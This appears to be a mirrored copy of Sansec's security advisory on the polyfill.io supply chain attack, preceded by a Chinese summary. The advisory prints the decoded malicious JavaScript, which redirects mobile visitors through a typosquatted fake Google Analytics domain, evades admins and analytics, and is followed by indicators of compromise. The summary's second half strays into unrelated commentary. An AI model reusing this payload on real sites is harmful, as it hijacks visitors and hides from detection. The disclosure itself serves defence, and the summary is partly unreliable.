Polyfill 供应链攻击袭击了 10 万多个站点
Polyfill supply chain attack hits 100K+ sites

原始链接: https://sansec.io/research/polyfill-supply-chain-attack

6 月 26 日出现了网络安全问题,系统基础设施遭受了分布式拒绝服务 (DDoS) 攻击。 尽管采取了反制措施,但攻击随后针对支付提供商,导致支付服务暂时停止服务。 6 月 25 日,出于安全考虑,Google 开始屏蔽使用 polyfill.io 的网站的 Google Ads。 这个开源库支持旧版浏览器,并拥有超过 100,000 个嵌入式网站,包括 JSTOR、Intuit 和世界经济论坛等著名网站。 然而,自2月份以来,一家中国公司收购了该域名,并被发现通过cdn.polyfill.io向移动设备传播恶意软件。 尽管从 GitHub 存储库中删除了这些问题,但 polyfill 代码中的恶意脚本仍将移动用户重定向到不相关的网站,例如体育博彩域或虚假的 Google Analytics 链接。 该脚本专门设计用于逃避检测,在特定时间针对某些移动设备,而不触发管理员或分析服务。 原作者建议完全停止使用 Polyfill,但 Fastly 和 Cloudflare 提供的替代品仍然可用。 这种情况体现了供应链攻击,凸显了通过 Sansec Watch 等工具跟踪用户加载的代码并相应更新 EScan 后端的重要性。 恶意负载的指示性示例如下: 恶意负载示例: ```javascript function isPc() { // 检查设备类型的代码...} function vfed_update(url) { // 处理重定向的代码...} function check_tiaozhuan() { // 执行实际重定向逻辑的函数。} // ...(其余代码) ```` 妥协指标: - `https://kuurza.com/redirect?from=bitget` - `https://www.googie-anaiytics.com/html/checkcachehw.js` - `https://www.googie-anaiytics.com/ga.js`。

本文讨论了维护复杂系统的挑战,特别是托管数千个站点的遗留代码、确保安全的负担以及财富和权力的诱惑。 作者质疑持续高质量、免费支持和维护的期望是否现实。 他们将这种情况与社会复杂性以及理解和管理复杂系统的局限性进行了比较,与汽车和飞机生产进行了类比。 该论点表明,尽管人类的智力保持不变,但社会已经超越了个人有效管理复杂系统的能力。 然而,问题并不一定在于人类设计复杂结构的能力,而在于管理实践不善。 提供了一个关于波音 737 MAX 坠机事件的例子,将其归因于缺乏文档、没有重点关注优先事项以及从以制造为中心的思维方式转向优先考虑销售和合同。 作者最后讨论了忽视复杂系统的潜在后果,强调了 Web 技术的问题,例如 HTTP 管道和第三方 JavaScript,这些技术需要仔细优化以最大限度地减少延迟。
相关文章

原文

Update June 26th: Someone launched a DDoS attack against our infrastructure. We have scaled our capacity, however now the attack has shifted to our payment provider who has temporarily suspended their service to us. We are working with them to get this restored ASAP, apologies for the inconvenience.

Update June 25th: Google has already started blocking Google Ads for eCommerce sites that use polyfill.io.

The polyfill.js is a popular open source library to support older browsers. 100K+ sites embed it using the cdn.polyfill.io domain. Notable users are JSTOR, Intuit and World Economic Forum. However, in February this year, a Chinese company bought the domain and the Github account. Since then, this domain was caught injecting malware on mobile devices via any site that embeds cdn.polyfill.io. Any complaints were quickly removed (archive here) from the Github repository.

The polyfill code is dynamically generated based on the HTTP headers, so multiple attack vectors are likely. Sansec decoded one particular malware (see below) which redirects mobile users to a sports betting site using a fake Google analytics domain (www.googie-anaiytics.com). The code has specific protection against reverse engineering, and only activates on specific mobile devices at specific hours. It also does not activate when it detects an admin user. It also delays execution when a web analytics service is found, presumably to not end up in the stats.

The original polyfill author recommends to not use Polyfill at all, as it is no longer needed by modern browsers anyway. Meanwhile, both Fastly and Cloudflare have put up trustworthy alternatives, if you still need it.

This incident is a typical example of a supply chain attack. To get visibility into the code that your users are loading, we recommend our (free) CSP monitoring service Sansec Watch.

Our eComscan backend scanner has also been updated with polyfill.io detection.

Polyfill malicious payload example

We added some names for readability, however tiaozhuan came from the original malware (which means "jump" in Chinese).

function isPc() {
  try {
    var _isWin =
        navigator.platform == "Win32" || navigator.platform == "Windows",
      _isMac =
        navigator.platform == "Mac68K" ||
        navigator.platform == "MacPPC" ||
        navigator.platform == "Macintosh" ||
        navigator.platform == "MacIntel";
    if (_isMac || _isWin) {
      return true;
    } else {
      return false;
    }
  } catch (_0x44e1f6) {
    return false;
  }
}
function vfed_update(_0x5ae1f8) {
  _0x5ae1f8 !== "" &&
    loadJS(
      "https://www.googie-anaiytics.com/html/checkcachehw.js",
      function () {
        if (usercache == true) {
          window.location.href = _0x5ae1f8;
        }
      }
    );
}
function check_tiaozhuan() {
  var _isMobile = navigator.userAgent.match(
    /(phone|pad|pod|iPhone|iPod|ios|iPad|Android|Mobile|BlackBerry|IEMobile|MQQBrowser|JUC|Fennec|wOSBrowser|BrowserNG|WebOS|Symbian|Windows Phone)/i
  );
  if (_isMobile) {
    var _curHost = window.location.host,
      _ref = document.referrer,
      _redirectURL = "",
      _kuurzaBitGet = "https://kuurza.com/redirect?from=bitget",
      _rnd = Math.floor(Math.random() * 100 + 1),
      _date = new Date(),
      _hours = _date.getHours();
    if (
      _curHost.indexOf("www.dxtv1.com") !== -1 ||
      _curHost.indexOf("www.ys752.com") !== -1
    ) {
      _redirectURL = "https://kuurza.com/redirect?from=bitget";
    } else {
      if (_curHost.indexOf("shuanshu.com.com") !== -1) {
        _redirectURL = "https://kuurza.com/redirect?from=bitget";
      } else {
        if (_ref.indexOf(".") !== -1 && _ref.indexOf(_curHost) == -1) {
          _redirectURL = "https://kuurza.com/redirect?from=bitget";
        } else {
          if (_hours >= 0 && _hours < 2) {
            if (_rnd <= 10) {
              _redirectURL = _kuurzaBitGet;
            }
          } else {
            if (_hours >= 2 && _hours < 4) {
              _rnd <= 15 && (_redirectURL = _kuurzaBitGet);
            } else {
              if (_hours >= 4 && _hours < 7) {
                _rnd <= 20 && (_redirectURL = _kuurzaBitGet);
              } else {
                _hours >= 7 && _hours < 8
                  ? _rnd <= 10 && (_redirectURL = _kuurzaBitGet)
                  : _rnd <= 10 && (_redirectURL = _kuurzaBitGet);
              }
            }
          }
        }
      }
    }
    _redirectURL != "" &&
      !isPc() &&
      document.cookie.indexOf("admin_id") == -1 &&
      document.cookie.indexOf("adminlevels") == -1 &&
      vfed_update(_redirectURL);
  }
}
let _outerPage = document.documentElement.outerHTML,
  bdtjfg = _outerPage.indexOf("hm.baidu.com") != -1;
let cnzfg = _outerPage.indexOf(".cnzz.com") != -1,
  wolafg = _outerPage.indexOf(".51.la") != -1;
let mattoo = _outerPage.indexOf(".matomo.org") != -1,
  aanaly = _outerPage.indexOf(".google-analytics.com") != -1;
let ggmana = _outerPage.indexOf(".googletagmanager.com") != -1,
  aplausix = _outerPage.indexOf(".plausible.io") != -1,
  statcct = _outerPage.indexOf(".statcounter.com") != -1;
bdtjfg || cnzfg || wolafg || mattoo || aanaly || ggmana || aplausix || statcct
  ? setTimeout(check_tiaozhuan, 2000)
  : check_tiaozhuan();

Indicators of compromise

https://kuurza.com/redirect?from=bitget
https://www.googie-anaiytics.com/html/checkcachehw.js
https://www.googie-anaiytics.com/ga.js

Read more

联系我们 contact @ memedata.com